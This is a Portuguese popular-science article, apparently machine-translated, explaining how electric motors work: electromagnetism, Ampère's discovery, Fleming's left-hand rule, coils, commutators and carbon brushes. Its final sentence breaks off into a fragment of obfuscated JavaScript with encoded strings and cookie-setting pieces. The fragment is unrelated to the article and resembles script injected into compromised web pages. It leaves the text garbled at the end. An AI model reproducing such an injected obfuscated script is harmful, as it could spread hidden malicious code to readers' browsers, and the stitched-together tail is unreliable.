Motor Elétrico

Motor Elétrico

Aperte um botão e ganhe energia instantânea – como nossos ancestrais adorariam motores elétricos! Você pode encontrá-los em tudo, desde trens elétricos até carros com controle remoto – e você pode se surpreender com o quanto eles são comuns. Quantos motores elétricos estão na sala com você agora? Há provavelmente dois no seu computador para começar, um girando seu disco rígido e outro alimentando o ventilador. Se você está sentado em um quarto, você encontrará motores em secadores de cabelo e muitos brinquedos; no banheiro, eles estão em exaustores e barbeadores elétricos; na cozinha, os motores estão em praticamente todos os eletrodomésticos, desde máquinas de lavar roupas e lava-louças a moedores de café, micro-ondas e abridores elétricos de latas. Os motores elétricos provaram estar entre as maiores invenções de todos os tempos. Vamos separar alguns e descobrir como eles funcionam!

Eletricidade, magnetismo e movimento

A ideia básica de um motor elétrico é realmente simples: você coloca eletricidade em uma extremidade e um eixo (haste de metal) gira na outra extremidade, dando a você a capacidade de dirigir uma máquina de algum tipo. Como isso funciona na prática? Exatamente como sua eletricidade convertida em movimento? Para encontrar a resposta para isso, temos que voltar no tempo quase 200 anos.

Suponha que você pegue um pedaço de arame comum, faça um grande laço e coloque-o entre os pólos de um imã permanente e ferradura. Agora, se você conectar as duas extremidades do fio a uma bateria, o fio saltará rapidamente. É incrível quando você vê isso pela primeira vez. É como mágica! Mas há uma explicação perfeitamente científica. Quando uma corrente elétrica começa a se arrastar ao longo de um fio, ela cria um campo magnético ao redor dela. Se você colocar o fio perto de um imã permanente, este campo magnético temporário interage com o campo do imã permanente. Você saberá que dois ímãs colocados próximos um do outro atraem ou repelem. Da mesma forma, o magnetismo temporário em torno do fio atrai ou repele o magnetismo permanente do imã, e é isso que faz com que o fio pule.

Como um motor elétrico funciona – em teoria

A ligação entre eletricidade, magnetismo e movimento foi originalmente descoberta em 1820 pelo físico francês André-Marie Ampère (1775-1867) e é a ciência básica por trás de um motor elétrico. Mas se quisermos transformar essa incrível descoberta científica em um pouco mais prática de tecnologia para alimentar nossas ceifadeiras elétricas e escovas de dentes, precisamos ir um pouco mais longe. Os inventores que fizeram isso foram os ingleses Michael Faraday (1791-1867) e William Sturgeon (1783-1850) e o americano Joseph Henry (1797-1878). Veja como eles chegaram à sua brilhante invenção.

Suponhamos que dobremos o fio em um laço quadrado em forma de U, de modo que efetivamente haja dois fios paralelos passando pelo campo magnético. Um deles leva a corrente elétrica para longe de nós através do fio e o outro traz a corrente de volta. Como a corrente flui em direções opostas nos fios, a Regra da Mão Esquerda de Fleming nos diz que os dois fios se moverão em direções opostas. Em outras palavras, quando ligamos a eletricidade, um dos fios se moverá para cima e o outro se moverá para baixo.

Se a bobina do fio continuasse a se mover assim, giraria continuamente – e estaríamos bem no caminho para fazer um motor elétrico. Mas isso não pode acontecer com a nossa configuração atual: os fios se enroscam rapidamente. Não só isso, mas se a bobina pudesse girar o suficiente, algo mais aconteceria. Uma vez que a bobina alcançasse a posição vertical, ela giraria, de modo que a corrente elétrica estaria fluindo através dela no sentido oposto. Agora as forças de cada lado da bobina se inverteriam. Em vez de girar continuamente na mesma direção, ele voltaria na direção que acabara de chegar! Imagine um trem elétrico com um motor como este: ele continuaria se arrastando para frente e para trás no local, sem jamais ir a lugar nenhum.

Como um motor elétrico funciona – na prática

Existem duas maneiras de superar esse problema. Uma delas é usar um tipo de corrente elétrica que periodicamente inverte a direção, que é conhecida como corrente alternada (CA). No tipo de pequenos motores movidos a bateria que usamos em casa, uma solução melhor é adicionar um componente chamado comutador às extremidades da bobina. Não se preocupe com o nome técnico sem sentido: essa palavra “comutação” é um pouco antiquada, é um pouco parecida com a palavra “comutar”. Significa simplesmente mudar de um lado para o outro da mesma maneira que viajar.

Em sua forma mais simples, o comutador é um anel de metal dividido em duas metades separadas e seu trabalho é reverter a corrente elétrica na bobina toda vez que a bobina gira em meia volta. Uma extremidade da bobina é conectada a cada metade do comutador. A corrente elétrica da bateria conecta-se aos terminais elétricos do motor.

Estes alimentam energia elétrica no comutador através de um par de conectores soltos chamados escovas, feitos de pedaços de grafite (carbono macio semelhante ao lápis “chumbo”) ou comprimentos finos de metal elástico, que (como o nome sugere) “escova” contra o comutador. Com o comutador no lugar, quando a eletricidade flui através do circuito, a bobina girará continuamente na mesma direção.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]